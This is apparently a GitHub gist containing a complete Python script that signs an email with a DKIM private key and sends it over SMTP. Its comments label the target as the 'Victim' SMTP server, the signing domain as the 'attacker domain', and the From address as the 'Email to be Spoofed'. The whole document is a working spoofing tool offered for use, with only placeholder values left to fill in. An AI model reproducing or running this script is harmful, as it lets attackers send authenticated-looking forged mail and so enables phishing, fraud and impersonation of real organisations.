Skip to content

Instantly share code, notes, and snippets.

@ACK-J
Last active June 30, 2024 07:41
Show Gist options
  • Save ACK-J/76585af46375641ec841cb6b77d345c3 to your computer and use it in GitHub Desktop.
Save ACK-J/76585af46375641ec841cb6b77d345c3 to your computer and use it in GitHub Desktop.
Sign and send an email using a DKIM private key from disk
import dkim # pip3 install dkimpy
import smtplib
import time
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.utils import formatdate
# Set params
destination = "TODO" # Victim SMTP server
smtp = "TODO" # Victim email
sender_domain = "TODO" # attacker domain
identity = b"@TODO" # @example.com
dkim_private_key_path = "/root/DKIM/TODO.pem" # Your private key
dkim_selector = "TODO" # Your DKIM selector that has the public key
sender = "TODO" # Email to be Spoofed
subject = "TODO"
message_html = """
TODO
"""
# Generate DKIM keys
with open(dkim_private_key_path, 'rb') as fh:
dkim_private_key = fh.read()
# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "plain"))
msg['Date'] = formatdate(localtime=True)
msg["To"] = destination
msg["From"] = sender
msg['Message-ID'] = "<" + str(time.time()) + "-1234567890@" + sender_domain + ">"
msg["Subject"] = subject
# Convert message to bytes before signing
msg_data = msg.as_bytes()
# Sign email with DKIM
headers = ["Date", "To", "From", "Message-ID", "Subject"]
sig = dkim.sign(message=msg_data, selector=dkim_selector.encode(), domain=sender_domain.encode(), privkey=dkim_private_key, include_headers=headers, identity=identity)
# Include DKIM signature in the email
msg["DKIM-Signature"] = sig.decode().split("DKIM-Signature: ")[1]
print(msg)
s = smtplib.SMTP(smtp, port=25)
s.sendmail(sender, [destination], msg.as_string())
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment